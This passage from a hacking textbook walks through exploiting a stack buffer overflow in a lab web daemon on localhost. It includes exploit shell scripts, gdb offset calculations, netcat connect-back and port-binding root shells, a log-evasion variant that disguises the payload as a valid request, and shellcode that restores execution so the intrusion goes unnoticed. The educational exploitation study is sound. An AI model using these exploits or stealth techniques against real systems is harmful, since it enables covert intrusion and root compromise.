Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) bt #0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) x/x request 0xbffff5c0: 0x080484ec (gdb) x/16x request + 500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005 0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004 (gdb) x/x 0xbffff7d4 + 8 0xbffff7dc: 0x08048fb7 (gdb) p /x 0xbffff7dc - 0xbffff5c0 $1 = 0x21c (gdb) p 0xbffff7dc - 0xbffff5c0 $2 = 540 (gdb) p /x 0xbffff5c0 + 100 $3 = 0xbffff624 (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 25830 reader@hacking:~/booksrc $
C oun t erm ea s ure s

331

The debugger shows that the request buffer starts at 0xbffff5c0 and the stored return address is at 0xbffff7dc, which means the offset is 540 bytes. The safest place for the shellcode is near the middle of the 500-byte request buffer. In the output below, an exploit buffer is created that sandwiches the shellcode between a NOP sled and the return address repeated 32 times. The 128 bytes of repeated return address keep the shellcode out of unsafe stack memory, which might be overwritten. There are also unsafe bytes near the beginning of the exploit buffer, which will be overwritten during null termination. To keep the shellcode out of this range, a 100-byte NOP sled is put in front of it. This leaves a safe landing zone for the execution pointer, with the shellcode at 0xbffff624. The following output exploits the vulnerability using the loopback shellcode. reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ wc -c loopback_shell 83 loopback_shell reader@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83)) 333 reader@hacking:~/booksrc $ nc -l -p 31337 & [1] 9835 reader@hacking:~/booksrc $ jobs [1]+ Running nc -l -p 31337 & reader@hacking:~/booksrc $ (perl -e 'print "\x90"x333'; cat loopback_shell; perl -e 'print "\ x24\xf6\xff\xbf"x32 . "\r\n"') | nc -w 1 -v 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ fg nc -l -p 31337 whoami root

Since the offset to the return address is 540 bytes, 544 bytes are needed to overwrite the address. With the loopback shellcode at 83 bytes and the overwritten return address repeated 32 times, simple arithmetic shows that the NOP sled needs to be 333 bytes to align everything in the exploit buffer properly. netcat is run in listen mode with an ampersand ( &) appended to the end, which sends the process to the background. This listens for the connection back from the shellcode and can be resumed later with the command fg (foreground). On the LiveCD, the at (@) symbol in the command prompt will change color if there are background jobs, which can also be listed with the jobs command. When the exploit buffer is piped into netcat, the -w option is used to tell it to time out after one second. Afterward, the backgrounded netcat process that received the connectback shell can be resumed. All this works fine, but if a shellcode of different size is used, the NOP sled size must be recalculated. All these repetitive steps can be put into a single shell script. The BASH shell allows for simple control structures. The if statement at the beginning of this script is just for error checking and displaying the usage

332

0x 600

message. Shell variables are used for the offset and overwrite return address, so they can be easily changed for a different target. The shellcode used for the exploit is passed as a command-line argument, which makes this a useful tool for trying out a variety of shellcodes. xtool_tinywebd.sh
#!/bin/sh # A tool for exploiting tinywebd if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 " exit fi OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE)) echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32)) bytes)]" ( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80

Notice that this script repeats the return address an additional thirty-third time, but it uses 128 bytes (32 × 4) for calculating the sled size. This puts an extra copy of the return address past where the offset dictates. Sometimes different compiler options will move the return address around a little bit, so this makes the exploit more reliable. The output below shows this tool being used to exploit the tinyweb daemon once again, but with the port-binding shellcode. reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1 target IP: 127.0.0.1 shellcode: portbinding_shellcode (92 bytes) [NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root

Now that the attacking side is armed with an exploit script, consider what happens when it’s used. If you were the administrator of the server running the tinyweb daemon, what would be the first signs that you were hacked?

C oun t erm ea s ure s

333

0x640

Log Files
One of the two most obvious signs of intrusion is the log file. The log file kept by the tinyweb daemon is one of the first places to look into when troubleshooting a problem. Even though the attacker’s exploits were successful, the log file keeps a painfully obvious record that something is up.

tinywebd Log File reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log 07/25/2007 14:55:45> Starting up. 07/25/2007 14:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK 07/25/2007 17:49:14> From 127.0.0.1:50201 "GET / HTTP/1.1" 200 OK 07/25/2007 17:49:14> From 127.0.0.1:50202 "GET /image.jpg HTTP/1.1" 07/25/2007 17:49:14> From 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1" 07/25/2007 17:57:21> Shutting down. 08/01/2007 15:43:08> Starting up.. 08/01/2007 15:43:41> From 127.0.0.1:45396 "

200 OK 404 Not Found

jfX 1 CRj j f T$ fhzifS j QV C I ? Iy $ $ $ $ Rh//shh/bin R S $ $ $ $ $ " NOT HTTP! $ $ $ $ $ $ $ $ $ $

jfXCh $ $

$ $ $ $ $ $ $ $ $ $ reader@hacking:~/booksrc $

$

Of course in this case, after the attacker gains a root shell, he can just edit the log file since it’s on the same system. On secure networks, however, copies of logs are often sent to another secure server. In extreme cases, logs are sent to a printer for hard copy, so there is a physical record. These types of countermeasures prevent tampering with the logs after successful exploitation.

0x641 Blend In with the Crowd
Even though the log files themselves cannot be changed, occasionally what gets logged can be. Log files usually contain many valid entries, whereas exploit attempts stick out like a sore thumb. The tinyweb daemon program can be tricked into logging a valid-looking entry for an exploit attempt. Look at the source code and see if you can figure out how to do this before continuing on. The idea is to make the log entry look like a valid web request, like the following:
07/22/2007 07/25/2007 07/25/2007 07/25/2007 17:57:00> 14:49:14> 14:49:14> 14:49:14> From From From From 127.0.0.1:38127 127.0.0.1:50201 127.0.0.1:50202 127.0.0.1:50203 "HEAD / HTTP/1.0" 200 OK "GET / HTTP/1.1" 200 OK "GET /image.jpg HTTP/1.1" 200 OK "GET /favicon.ico HTTP/1.1" 404 Not Found

This type of camouflage is very effective at large enterprises with extensive log files, since there are so many valid requests to hide among: It’s easier to blend in at a crowded mall than an empty street. But how exactly do you hide a big, ugly exploit buffer in the proverbial sheep’s clothing?
334
0x 600

There’s a simple mistake in the tinyweb daemon’s source code that allows the request buffer to be truncated early when it’s used for the log file output, but not when copying into memory. The recv_line() function uses \r\n as the delimiter; however, all the other standard string functions use a null byte for the delimiter. These string functions are used to write to the log file, so by strategically using both delimiters, the data written to the log can be partially controlled. The following exploit script puts a valid-looking request in front of the rest of the exploit buffer. The NOP sled is shrunk to accommodate the new data. xtool_tinywebd_stealth.sh
#!/bin/sh # stealth exploitation tool if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 " exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE)) echo "[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode ($SIZE b)] [ret addr ($((4*32)) b)]" (perl -e "print \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80

This new exploit buffer uses the null byte delimiter to terminate the fake request camouflage. A null byte won’t stop the recv_line() function, so the rest of the exploit buffer is copied to the stack. Since the string functions used to write to the log use a null byte for termination, the fake request is logged and the rest of the exploit is hidden. The following output shows this exploit script in use. reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ nc -l -p 31337 & [1] 7714 reader@hacking:~/booksrc $ jobs [1]+ Running nc -l -p 31337 & reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1 target IP: 127.0.0.1 shellcode: loopback_shell (83 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]
C oun t erm ea s ure s

335

localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ fg nc -l -p 31337 whoami root

The connection used by this exploit creates the following log file entries on the server machine.
08/02/2007 13:37:36> Starting up.. 08/02/2007 13:37:44> From 127.0.0.1:32828 "GET / HTTP/1.1" 200 OK

Even though the logged IP address cannot be changed using this method, the request itself appears valid, so it won’t attract too much attention.

0x650 Overlooking the Obvious
In a real-world scenario, the other obvious sign of intrusion is even more apparent than log files. However, when testing, this is something that is easily overlooked. If log files seem like the most obvious sign of intrusion to you, then you are forgetting about the loss of service. When the tinyweb daemon is exploited, the process is tricked into providing a remote root shell, but it no longer processes web requests. In a real-world scenario, this exploit would be detected almost immediately when someone tries to access the website. A skilled hacker can not only crack open a program to exploit it, he can also put the program back together again and keep it running. The program continues to process requests and it seems like nothing happened.

0x651 One Step at a Time
Complex exploits are difficult because so many different things can go wrong, with no indication of the root cause. Since it can take hours just to track down where the error occurred, it’s usually better to break a complex exploit down into smaller parts. The end goal is a piece of shellcode that will spawn a shell yet keep the tinyweb server running. The shell is interactive, which causes some complications, so let’s deal with that later. For now, the first step should be figuring out how to put the tinyweb daemon back together after exploiting it. Let’s begin by writing a piece of shellcode that does something to prove it ran and then puts the tinyweb daemon back together so it can process further web requests. Since the tinyweb daemon redirects standard out to /dev/null, writing to standard out isn’t a reliable marker for shellcode. One simple way to prove the shellcode ran is to create a file. This can be done by making a call to open(), and then close(). Of course, the open() call will need the appropriate flags to create a file. We could look through the include files to figure out what O_CREAT and all the other necessary defines actually are and do all the bitwise math for the arguments, but that’s sort of a pain in the ass. If you recall, we’ve done something like this already—the notetaker program makes a call to open() which will create a file if it didn’t exist. The strace program can be used on
336
0x 600

any program to show every system call it makes. In the output below, this is used to verify that the arguments to open() in C match up with the raw system calls. reader@hacking:~/booksrc $ strace ./notetaker test execve("./notetaker", ["./notetaker", "test"], [/* 27 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe5000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ..}) = 0 mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000".., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..}) = 0 mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e92000 mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13b) = 0xb7fcd000 mmap2(0xb7fd0000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e91000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fcd000, 4096, PROT_READ) = 0 munmap(0xb7fd3000, 70799) = 0 brk(0) = 0x804a000 brk(0x806b000) = 0x806b000 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe4000 write(1, "[DEBUG] buffer @ 0x804a008: \'t".., 37[DEBUG] buffer @ 0x804a008: 'test' ) = 37 write(1, "[DEBUG] datafile @ 0x804a070: \'/".., 43[DEBUG] datafile @ 0x804a070: '/var/notes' ) = 43 open("/var/notes", O_WRONLY|O_APPEND|O_CREAT, 0600) = -1 EACCES (Permission denied) dup(2) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe3000 _llseek(3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, "[!!] Fatal Error in main() while".., 65[!!] Fatal Error in main() while opening file: Permission denied ) = 65 close(3) = 0 munmap(0xb7fe3000, 4096) = 0 exit_group(-1) = ? Process 21473 detached reader@hacking:~/booksrc $ grep open notetaker.c fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); fatal("in main() while opening file"); reader@hacking:~/booksrc $
C oun t erm ea s ure s

337

When run through strace, the notetaker binary’s suid-bit isn’t used, so it doesn’t have permission to open the data file. That doesn’t matter, though; we just want to make sure the arguments to the open() system call match the arguments to the open() call in C. Since they match, we can safely use the values passed to the open() function in the notetaker binary as the arguments for the open() system call in our shellcode. The compiler has already done all the work of looking up the defines and mashing them together with a bitwise OR operation; we just need to find the call arguments in the disassembly of the notetaker binary. reader@hacking:~/booksrc $ gdb -q ./notetaker Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set dis intel (gdb) disass main Dump of assembler code for function main: 0x0804875f : push ebp 0x08048760 : mov ebp,esp 0x08048762 : sub esp,0x28 0x08048765 : and esp,0xfffffff0 0x08048768 : mov eax,0x0 0x0804876d : sub esp,eax 0x0804876f : mov DWORD PTR [esp],0x64 0x08048776 : call 0x8048601 0x0804877b : mov DWORD PTR [ebp-12],eax 0x0804877e : mov DWORD PTR [esp],0x14 0x08048785 : call 0x8048601 0x0804878a : mov DWORD PTR [ebp-16],eax 0x0804878d : mov DWORD PTR [esp+4],0x8048a9f 0x08048795 : mov eax,DWORD PTR [ebp-16] 0x08048798 : mov DWORD PTR [esp],eax 0x0804879b : call 0x8048480 0x080487a0 : cmp DWORD PTR [ebp+8],0x1 0x080487a4 : jg 0x80487ba 0x080487a6 : mov eax,DWORD PTR [ebp-16] 0x080487a9 : mov DWORD PTR [esp+4],eax 0x080487ad : mov eax,DWORD PTR [ebp+12] 0x080487b0 : mov eax,DWORD PTR [eax] 0x080487b2 : mov DWORD PTR [esp],eax 0x080487b5 : call 0x8048733 0x080487ba : mov eax,DWORD PTR [ebp+12] 0x080487bd : add eax,0x4 0x080487c0 : mov eax,DWORD PTR [eax] 0x080487c2 : mov DWORD PTR [esp+4],eax 0x080487c6 : mov eax,DWORD PTR [ebp-12] 0x080487c9 : mov DWORD PTR [esp],eax 0x080487cc : call 0x8048480 0x080487d1 : mov eax,DWORD PTR [ebp-12] 0x080487d4 : mov DWORD PTR [esp+8],eax 0x080487d8 : mov eax,DWORD PTR [ebp-12] 0x080487db : mov DWORD PTR [esp+4],eax 0x080487df : mov DWORD PTR [esp],0x8048aaa 0x080487e6 : call 0x8048490 0x080487eb : mov eax,DWORD PTR [ebp-16]

338

0x 600

0x080487ee : mov DWORD PTR [esp+8],eax 0x080487f2 : mov eax,DWORD PTR [ebp-16] 0x080487f5 : mov DWORD PTR [esp+4],eax 0x080487f9 : mov DWORD PTR [esp],0x8048ac7 0x08048800 : call 0x8048490 0x08048805 : mov DWORD PTR [esp+8],0x180 0x0804880d : mov DWORD PTR [esp+4],0x441 0x08048815 : mov eax,DWORD PTR [ebp-16] 0x08048818 : mov DWORD PTR [esp],eax 0x0804881b : call 0x8048410 ---Type to continue, or q to quit---q Quit (gdb)

Remember that the arguments to a function call will be pushed to the stack in reverse. In this case, the compiler decided to use mov DWORD PTR [esp+offset], value_to_push_to_stack instead of push instructions, but the structure built on the stack is equivalent. The first argument is a pointer to the name of the file in EAX, the second argument (put at [esp+4]) is 0x441, and the third argument (put at [esp+8]) is 0x180. This means that O_WRONLY| O_CREAT|O_APPEND turns out to be 0x441 and S_IRUSR|S_IWUSR is 0x180. The following shellcode uses these values to create a file called Hacked in the root filesystem. mark.s
BITS 32 ; Mark the filesystem to prove you ran. jmp short one two: pop ebx ; Filename xor ecx, ecx mov BYTE [ebx+7], cl ; Null terminate filename push BYTE 0x5 ; Open() pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR int 0x80 ; Open file to create it. ; eax = returned file descriptor mov ebx, eax ; File descriptor to second arg push BYTE 0x6 ; Close () pop eax int 0x80 ; Close file. xor eax, eax mov ebx, eax inc eax ; Exit call. int 0x80 ; Exit(0), to avoid an infinite loop. one: call two db "/HackedX" ; 01234567
C oun t erm ea s ure s

339

The shellcode opens a file to create it and then immediately closes the file. Finally, it calls exit to avoid an infinite loop. The output below shows this new shellcode being used with the exploit tool. reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ nasm mark.s reader@hacking:~/booksrc $ hexdump -C mark 00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1| 00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....j.X.1.| 00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke| 00000030 64 58 |dX| 00000032 reader@hacking:~/booksrc $ ls -l /Hacked ls: /Hacked: No such file or directory reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1 target IP: 127.0.0.1 shellcode: mark (44 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ ls -l /Hacked -rw------- 1 root reader 0 2007-09-17 16:59 /Hacked reader@hacking:~/booksrc $

0x652 Putting Things Back Together Again
To put things back together again, we just need to repair any collateral damage caused by the overwrite and/or shellcode, and then jump execution back into the connection accepting loop in main() . The disassembly of main() in the output below shows that we can safely return to the addresses 0x08048f64, 0x08048f65, or 0x08048fb7 to get back into the connection accept loop. reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048d93 : push ebp 0x08048d94 : mov ebp,esp 0x08048d96 : sub esp,0x68 0x08048d99 : and esp,0xfffffff0 0x08048d9c : mov eax,0x0 0x08048da1 : sub esp,eax .:[ output trimmed ]:. 0x08048f4b 0x08048f4e 0x08048f53 0x08048f56 0x08048f58 : : : : : mov call cmp jne mov DWORD PTR [esp],eax 0x8048860 eax,0xffffffff 0x8048f64 DWORD PTR [esp],0x804961a

340

0x 600

0x08048f5f : 0x08048f64 : 0x08048f65 : 0x08048f6c : 0x08048f6f : 0x08048f73 : 0x08048f76 : 0x08048f7a : 0x08048f7f : 0x08048f82 : 0x08048f87 : 0x08048f8a : 0x08048f8e : 0x08048f90 : 0x08048f97 : 0x08048f9c : 0x08048fa1 : 0x08048fa5 : 0x08048fa8 : 0x08048fac : 0x08048faf : 0x08048fb2 : 0x08048fb7 : End of assembler dump. (gdb)

call nop mov lea mov lea mov mov mov call mov cmp jne mov call mov mov lea mov mov mov call jmp

0x8048ac4 DWORD PTR [ebp-60],0x10 eax,[ebp-60] DWORD PTR [esp+8],eax eax,[ebp-56] DWORD PTR [esp+4],eax eax,ds:0x804a970 DWORD PTR [esp],eax 0x80488d0 DWORD PTR [ebp-12],eax DWORD PTR [ebp-12],0xffffffff 0x8048f9c DWORD PTR [esp],0x804962e 0x8048ac4 eax,ds:0x804a96c DWORD PTR [esp+8],eax eax,[ebp-56] DWORD PTR [esp+4],eax eax,DWORD PTR [ebp-12] DWORD PTR [esp],eax 0x8048fb9 0x8048f65

All three of these addresses basically go to the same place. Let’s use 0x08048fb7 since this is the original return address used for the call to handle_connection(). However, there are other things we need to fix first. Look at the function prologue and epilogue for handle_connection(). These are the instructions that set up and remove the stack frame structures on the stack.
(gdb) disass handle_connection Dump of assembler code for function handle_connection: 0x08048fb9 : push ebp 0x08048fba : mov ebp,esp 0x08048fbc : push ebx 0x08048fbd : sub esp,0x644 0x08048fc3 : lea eax,[ebp-0x218] 0x08048fc9 : mov DWORD PTR [esp+4],eax 0x08048fcd : mov eax,DWORD PTR [ebp+8] 0x08048fd0 : mov DWORD PTR [esp],eax 0x08048fd3 : call 0x8048cb0 0x08048fd8 : mov DWORD PTR [ebp-0x620],eax 0x08048fde : mov eax,DWORD PTR [ebp+12] 0x08048fe1 : movzx eax,WORD PTR [eax+2] 0x08048fe5 : mov DWORD PTR [esp],eax 0x08048fe8 : call 0x80488f0 .:[ output trimmed ]:. 0x08049302 : call 0x8048850
C oun t erm ea s ure s

341

0x08049307 : 0x0804930f : 0x08049312 : 0x08049315 : 0x0804931a : 0x08049320 : 0x08049321 : 0x08049322 : End of assembler dump. (gdb)

mov mov mov call add pop pop ret

DWORD PTR eax,DWORD DWORD PTR 0x8048800 esp,0x644 ebx ebp

[esp+4],0x2 PTR [ebp+8] [esp],eax

At the beginning of the function, the function prologue saves the current values of the EBP and EBX registers by pushing them to the stack, and sets EBP to the current value of ESP so it can be used as a point of reference for accessing stack variables. Finally, 0x644 bytes are saved on the stack for these stack variables by subtracting from ESP. The function epilogue at the end restores ESP by adding 0x644 back to it and restores the saved values of EBX and EBP by popping them from the stack back into the registers. The overwrite instructions are actually found in the recv_line() function; however, they write to data in the handle_connection() stack frame, so the overwrite itself happens in handle_connection(). The return address that we overwrite is pushed to the stack when handle_connection() is called, so the saved values for EBP and EBX pushed to the stack in the function prologue will be between the return address and the corruptible buffer. This means that EBP and EBX will get mangled when the function epilogue executes. Since we don’t gain control of the program’s execution until the return instruction, all the instructions between the overwrite and the return instruction must be executed. First, we need to assess how much collateral damage is done by these extra instructions after the overwrite. The assembly instruction int3 creates the byte 0xcc, which is literally a debugging breakpoint. The shellcode below uses an int3 instruction instead of exiting. This breakpoint will be caught by GDB, allowing us to examine the exact state of the program after the shellcode executes. mark_break.s
BITS 32 ; Mark the filesystem to prove you ran. jmp short one two: pop ebx ; Filename xor ecx, ecx mov BYTE [ebx+7], cl ; Null terminate filename push BYTE 0x5 ; Open() pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR int 0x80 ; Open file to create it. ; eax = returned file descriptor mov ebx, eax ; File descriptor to second arg

342

0x 600

push BYTE 0x6 ; Close () pop eax int 0x80 ; Close file. int3 ; zinterrupt one: call two db "/HackedX"

To use this shellcode, first get GDB set up to debug the tinyweb daemon. In the output below, a breakpoint is set right before handle_connection() is called. The goal is to restore the mangled registers to their original state found at this breakpoint. reader@hacking:~/booksrc $ Starting tiny web daemon. reader@hacking:~/booksrc $ root 23497 0.0 0.0 reader 23506 0.0 0.0 reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./tinywebd ps aux | grep tinywebd 1636 356 ? Ss 17:08 0:00 ./tinywebd 2880 748 pts/1 R+ 17:09 0:00 grep tinywebd gcc -g tinywebd.c sudo gdb -q -pid=23497 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 23497 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) set dis intel (gdb) x/5i main+533 0x8048fa8 : mov DWORD PTR [esp+4],eax 0x8048fac : mov eax,DWORD PTR [ebp-12] 0x8048faf : mov DWORD PTR [esp],eax 0x8048fb2 : call 0x8048fb9 0x8048fb7 : jmp 0x8048f65 (gdb) break *0x8048fb2 Breakpoint 1 at 0x8048fb2: file tinywebd.c, line 72. (gdb) cont Continuing.

In the output above, a breakpoint is set right before handle_connection() is called (shown in bold). Then, in another terminal window, the exploit tool is used to throw the new shellcode at it. This will advance execution to the breakpoint in the other terminal. reader@hacking:~/booksrc $ nasm mark_break.s reader@hacking:~/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1 target IP: 127.0.0.1 shellcode: mark_break (44 bytes) [NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $

C oun t erm ea s ure s

343

Back in the debugging terminal, the first breakpoint is encountered. Some important stack registers are displayed, which show the stack setup before (and after) the handle_connection() call. Then, execution continues to the int3 instruction in the shellcode, which acts like a breakpoint. Then these stack registers are checked again to view their state at the moment the shellcode begins to execute.
Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72 72 handle_connection(new_sockfd, &client_addr, logfd); (gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0 ebx 0xb7fd5ff4 -1208131596 ebp 0xbffff848 0xbffff848 (gdb) cont Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff753 in ?? () (gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0 ebx 0x6 6 ebp 0xbffff624 0xbffff624 (gdb)

This output shows that EBX and EBP are changed at the point the shellcode begins execution. However, an inspection of the instructions in main()’s disassembly shows that EBX isn’t actually used. The compiler probably saved this register to the stack due to some rule about calling convention, even though it isn’t really used. EBP, however, is used heavily, since it’s the point of reference for all local stack variables. Because the original saved value of EBP was overwritten by our exploit, the original value must be recreated. When EBP is restored to its original value, the shellcode should be able to do its dirty work and then return back into main() as usual. Since computers are deterministic, the assembly instructions will clearly explain how to do all this.
(gdb) set dis intel (gdb) x/5i main 0x8048d93 : 0x8048d94 : 0x8048d96 : 0x8048d99 : 0x8048d9c : (gdb) x/5i main+533 0x8048fa8 : 0x8048fac : 0x8048faf : 0x8048fb2 : 0x8048fb7 : (gdb)

push mov sub and mov mov mov mov call jmp

ebp ebp,esp esp,0x68 esp,0xfffffff0 eax,0x0 DWORD PTR eax,DWORD DWORD PTR 0x8048fb9 0x8048f65 [esp+4],eax PTR [ebp-12] [esp],eax

344

0x 600

A quick glance at the function prologue for main() shows that EBP should be 0x68 bytes larger than ESP. Since ESP wasn’t damaged by our exploit, we can restore the value for EBP by adding 0x68 to ESP at the end of our shellcode. With EBP restored to the proper value, the program execution can be safely returned into the connection-accepting loop. The proper return address for the handle_connection() call is the instruction found after the call at 0x08048fb7. The following shellcode uses this technique. mark_restore.s
BITS 32 ; Mark the filesystem to prove you ran. jmp short one two: pop ebx ; Filename xor ecx, ecx mov BYTE [ebx+7], cl ; Null terminate filename push BYTE 0x5 ; Open() pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR int 0x80 ; Open file to create it. ; eax = returned file descriptor mov ebx, eax ; File descriptor to second arg push BYTE 0x6 ; Close () pop eax int 0x80 ; close file lea ebp, [esp+0x68] push 0x08048fb7 ret one: call two db "/HackedX" ; Restore EBP. ; Return address. ; Return

When assembled and used in an exploit, this shellcode will restore the tinyweb daemon’s execution after marking the filesystem. The tinyweb daemon doesn’t even know that something happened. reader@hacking:~/booksrc $ nasm mark_restore.s reader@hacking:~/booksrc $ hexdump -C mark_restore 00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.Xf.A.1| 00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....j.X..l| 00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha| 00000030 63 6b 65 64 58 |ckedX| 00000035 reader@hacking:~/booksrc $ sudo rm /Hacked reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1 target IP: 127.0.0.1

C oun t erm ea s ure s

345

